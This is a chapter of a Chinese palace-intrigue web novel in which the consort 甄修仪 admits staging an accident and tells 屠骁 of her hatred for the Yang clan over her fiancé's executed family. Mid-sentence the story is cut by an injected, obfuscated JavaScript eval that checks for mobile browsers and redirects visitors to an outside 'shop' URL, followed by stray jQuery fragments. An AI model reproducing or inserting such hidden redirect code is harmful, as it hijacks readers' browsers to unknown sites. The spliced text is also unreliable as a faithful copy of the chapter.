19. 恨

作品:《公公接招吧

    晕倒的甄修仪被安置在海棠苑的暖阁里,德妃派来的宫女则被那冷面女官拦在门口。


    “修仪娘娘风寒未愈,此番受惊,正需静养。娘娘住处备有汤药,劳一位娘子去取来便好。”


    她的声音冷硬,眼神也是,身子更是健壮得如同老鹰。


    两厢对比之下,甄修仪简直如同老鹰爪下的小鸡一般。


    她环视一圈,又道:“娘娘不愿再给德妃娘娘添麻烦,还请各位前去帮忙,早日寻到昭仪娘娘才是正事。娘娘跟前有我一人伺候足矣。”


    宫女们不愿多管闲事,躬了躬身,便鱼贯而出。


    阁中只剩下那冷面女官一人。


    门被关上,隔绝了外头所有焦急的呼喊与杂乱的脚步声。


    等人都走远了,声音似乎也消散了,屏风后那描着淡墨山水的一面,映出了一道纤瘦袅娜的身影。


    那身影缓缓坐起,一道女声响起:“人都走了么?”


    冷面女官垂首:“走了。”


    “那便好。”


    这声音正是甄修仪。


    她的嗓音已全无方才的虚弱惊惶,更没有半分颤抖,反而十分镇定,镇定得甚至有些森寒。


    她取过桌上铜盆里的帕子,慢慢地拧干水,慢慢地擦去眼角与面颊上的泪痕,慢慢地问:“你可知,今日你错在何处?”


    那冷面女官的声音依旧平稳,可映在屏风上的影子却微微颤抖起来。


    “臣……臣……”


    她的嗓子像是被手掐住了,一个字也说不出来。


    甄修仪将帕子扔回盆里,水花溅起,她冷笑一声。


    “你错就错在自作主张!本应是我将她拽入水中,如今倒好,叫你这蠢材坏了事!”


    屏风上的影子抖得愈发厉害,随即跪了下去,缩成一团。


    “臣、臣知错……如此天寒地冻,臣也是怕娘娘身子……”


    “闭嘴!”甄修仪厉声喝止。


    “错便错了,何必狡辩!如此心慈手软,如何能成大事?再有下次,便是圣人也保不住你了!”


    那影子已经完全伏趴在地上,一动不动。


    “臣……明白。”


    甄修仪的语气缓和了些。


    “以她的本事,十有八九不会出事,说不定,到头来还会发现是你推的她。若有那一日,你可明白该如何自处?”


    影子沉默了许久。


    “……明白。”


    甄修仪的唇角勾起笑意:“明白就好,进来吧。”


    等了半晌,那影子也没有动,甄修仪心中生出疑惑。


    “跪着做什么,还不快进——”


    话音戛然而止。


    因为她看见一个人从屏风后走了出来。


    那人墨色的长发紧紧束在头顶,发冠钗环已不见踪影,水珠顺着衣角滴落,留下一串湿漉漉的脚印。


    甄修仪面上的惊诧只维持了片刻,便化作自然的笑。


    她起身迎了上去,关切道:“你可算回来了,真是吓死我了!”


    她似乎全然不记得方才说了什么,也全然没看见地上还跪着的冷面女官,伸手便探向屠骁的胳膊。


    屠骁的手却更快,一把扣住她的脉门,手指一错、一探、一扬,“咚”的一声,一把小巧的剪刀应声落地。


    这一次,屠骁没有手下留情。


    甄修仪只觉得整条手臂都酥麻了,酸痛瞬间窜遍半边身子,但她也只是面色微变,依旧笑意盈盈地看着屠骁。


    “你没事吧?”


    “你希望我有事?”


    “自然不希望。”


    “你当然不希望我有事,不然岂不是白演这一场戏了?”


    甄修仪的心思被揭穿,却并没有丝毫尴尬,只是揉着胳膊,露出赞赏的笑容。


    “你早就怀疑我了,所以才故意跳下去的,是不是?”


    屠骁点头:“你这样可疑,难道我不该怀疑吗?”


    “这么说,那些东西你一定看到了。”


    “是你放在那的?”


    甄修仪摇头:“我还没有这个本事。那东西本就在那,我不过是引你看见罢了。”


    “你又是怎么知道的?”


    不待甄修仪回答,屠骁又恍然大悟道:“哦!当日处理此案的并非圣人,而是你!”


    她越说越笃定:“白司药溺死一案全凭圣人裁决,圣人并不插手宫务,此事本该由宁妃处置。可圣人偏又信不过宁妃,必定要交给信得过的心腹。所以,你才知道得这样清楚。”


    甄修仪的胳膊已经不疼了,她知道屠骁若真出手,她的胳膊早已碎了。


    如此看来,对于自己屡次三番的冒犯,对方不过拧了她的胳膊,当真是手下留情了。


    于是她摆出笑脸,道:“我早知道你是聪明人,现在看来,你比我想的还要聪明些。”


    “你既然知道内情,为什么不直接告诉我,还要想出这样的法子?”


    “如果我直接告诉你,你会信吗?”


    屠骁立刻摇头。


    甄修仪拿起帕子,想要为屠骁擦干面上的水,却被屠骁闪身躲开。


    甄修仪也不恼,柔声道:“对于你们这样的人,必定要亲眼所见、亲耳所听才算真的。所以我非但不能直说,还要故意隐瞒,叫你自己去发现,你才会真的相信。”


    屠骁却咬住字眼,敏感发问:“你们?”


    甄修仪愣了一下。


    屠骁欺身上前,步步紧逼:“你与我姐姐说过什么?”


    甄修仪的面色突然变得很难看,很恐怖,苍白的面皮下青筋暴起,不住地抖动,像是无数蚯蚓在皮下蠕动。


    “我说什么……我能说什么?我不过是告诉她真相,告诉她是谁要害我们的孩子,告诉她有的人是恶魔,连未出世的婴儿都不肯放过!”


    她的身子摇摇欲坠,仿佛随时都会晕倒。


    屠骁上前一步,伸手抓住了她的肩膀,死死盯住甄修仪。


    “恶魔是谁?”


    甄修仪抬起眼。


    她的眼中是两座不见底的深渊,那深渊里的黑暗与怨毒,竟叫屠骁也感到一阵心惊。


    “你觉得是谁?这宫里,还有谁容不得皇嗣出生?”


    屠骁看着她,半晌,缓缓点了点头。


    二大王虽不受待见,可他身体里始终流着皇室的血,是皇位继承人。


    ——唯一的继承人。


    甄修仪见她明了,恨声道:“白司药为宁妃做了许多阴私勾当,宁妃又岂能留她?证物我早便发现了,一旦拿出来,便可以将宁妃定罪,不死也要叫她脱层皮下来!”


    说到此处,她苦笑一声:“可杨家势大,圣人顾虑颇多,并不愿与宁妃撕破脸。”


    屠骁连连冷笑:“所以只能叫我姐姐来背锅了。毕竟万家无权无势,不过是一介商贾,两个孤女,便是死了又有何妨,对么?”


    甄修仪看了屠骁一眼,对方的平静超出了她的预想。


    有的人在突逢大变时,并不会震怒,也不会惊诧,反而会变得十分冷静,只因她们深知只有冷静才能清醒,只有清醒才能活下去,才能报仇。


    她是这样的人,如今看来,万昭仪也是这样的人。


    她的笑容恢复了平日里的温柔娴雅,几乎算得上真诚:“我知道你姐姐是个好人,可好人总是活不长的,你说是吗?”


    “即便她什么也没做错?”


    “不,”甄修仪的面色忽的变得落寂,“她错了,我也错了。”


    顿了顿,她才轻声开口,“我们错就错在生错了人家,生错了时候,否则又何至于沦落至此呢?”


    屠骁不知该如何劝解甄修仪。


    这样的人本就通透,看不破并非是看不懂,只是不能看破、不敢看破。


    她想了想,直白道:“你既如此得圣人倚重,为何到现在仍是个修仪呢?”


    难道是因为家世和出身?


    她只听闻甄修仪家世不显,却不知底细。


    甄修仪沉默了许久,久到屠骁以为她不会回答


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065421|194110||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了,她却忽的开口:“你可听过傅陵?”


    说这话时,她的双眼和脸都在发光,像是有繁花在双眸中缓缓盛开。


    傅陵的名字屠骁自是听过的。


    “蔺元诲案”所涉二十一家,名字和案件细节她都记得清清楚楚。


    屠骁隐隐有了猜测,问:“傅陵是你什么人?”


    “傅陵是我的表舅。”


    屠骁心头一震,脱口而出:“那么傅美是你的——”


    甄修仪终于看向屠骁,她明明在笑,可眼泪已经顺着脸颊滑落下来。


    “他是我的表哥,我的……未婚夫。”


    屠骁长长地、长长地叹了口气。


    甄修仪的眼泪泛着光:“我父母早丧,十一岁便投靠表舅,与表哥定下了亲事。


    “若不是杨荔那老贼,我何至于无依无靠,没入教坊司?若不是圣人作保,我又如何得以保全?


    “傅家三代忠烈,满门英豪,却被杨荔借机陷害,满门抄斩!杨家想要兵权,势必要将傅家拉下马,至于真相如何,谁在乎?”


    再美的脸蛋,在这样强烈的恨意下也会变得面目全非,可屠骁却从那恨意的双眸中看见了自己的倒影,心头只觉得一阵激荡。


    甄修仪对杨家的恨,与她对章怀恩的恨如出一辙。


    她尚有自保的本事,像甄修仪这样没有武功的人,便只能以阴谋手段谋得生存。


    可谁说阴谋手段又不是一种本事呢?


    她不是她,她也是她。


    这一瞬间,屠骁便将甄修仪方才想要害她的事全然抛之脑后。


    她总是不屑于痛恨弱者的。


    恨也是一种意志的消耗,她向来只恨该恨之人,如同狼群在追逐羚羊时,便不会再分一丝心力给田鼠野鸡了。


    她的心中有一把刀,她绝不会叫这把刀因砍柴杀鸡而折损锋芒。


    屠骁将那方被扔进水盆的帕子拧干,递给甄修仪,思来想去,还是说出了那句话:“你就不怕恨错了人?”


    蛊虫固然可怕,但真正可怕的,岂不是背后的养蛊之人?


    甄修仪像是被这句话刺痛,立刻跳起来,一双眼红通通地瞪着屠骁:“我不恨杨家该恨谁?你说,我该恨谁?”


    虽是问句,可更像是否定。


    她分明知道自己该恨谁。


    可她不敢去恨,更不能去恨。


    那个人杀了她表哥满门,将她打入贱籍,又轻动手指,将她收入后宫。


    她非但不能恨他,还要感恩戴德地爱他、敬他,与他生儿育女,为他绵延子嗣。


    否则,她的后半辈子又该如何度过呢?


    屠骁又叹了口气:“你今日所说我也不会全信,真相如何,我自会去验证。”


    甄修仪已擦干了眼泪,恢复了那副波澜不惊的模样。


    “你信也好,不信也罢,我该说的都已说了。”


    “告辞。”


    屠骁不再留恋,转身离开。


    那倜然的背影映在屏风的山水画上,恰好与山峦青影叠在一起,仿佛她本就是从那画中走出的孤峭山峰。


    甄修仪手中握着帕子,心中似是被狠狠撞了一下,不由地追出两步。


    “你……你既然早就怀疑我,为何不肯将计就计呢?”


    为了这一计的可信度,甄修仪本打算是自己与屠骁一同落水的,屠骁必然是察觉了她的意图,才故意错开她的手臂,假装错过,选择自己跳入水中。


    她的心跳得很快。


    她知道有一种可能。


    但她不肯相信。


    她始终不肯相信世界上有这样傻的人。


    门已经开了,冷风灌了进来,纱帐翻飞,山峦上似有仙雾缭绕。


    屠骁顿住脚步,没有回头。


    “你已猜到原因,何必明知故问呢?”


    甄修仪愣了片刻,忽的噗嗤一笑。


    笑罢,又忙唤住屠骁:“等等!我有话要说。”


    她想,有时候傻气也是会传染的。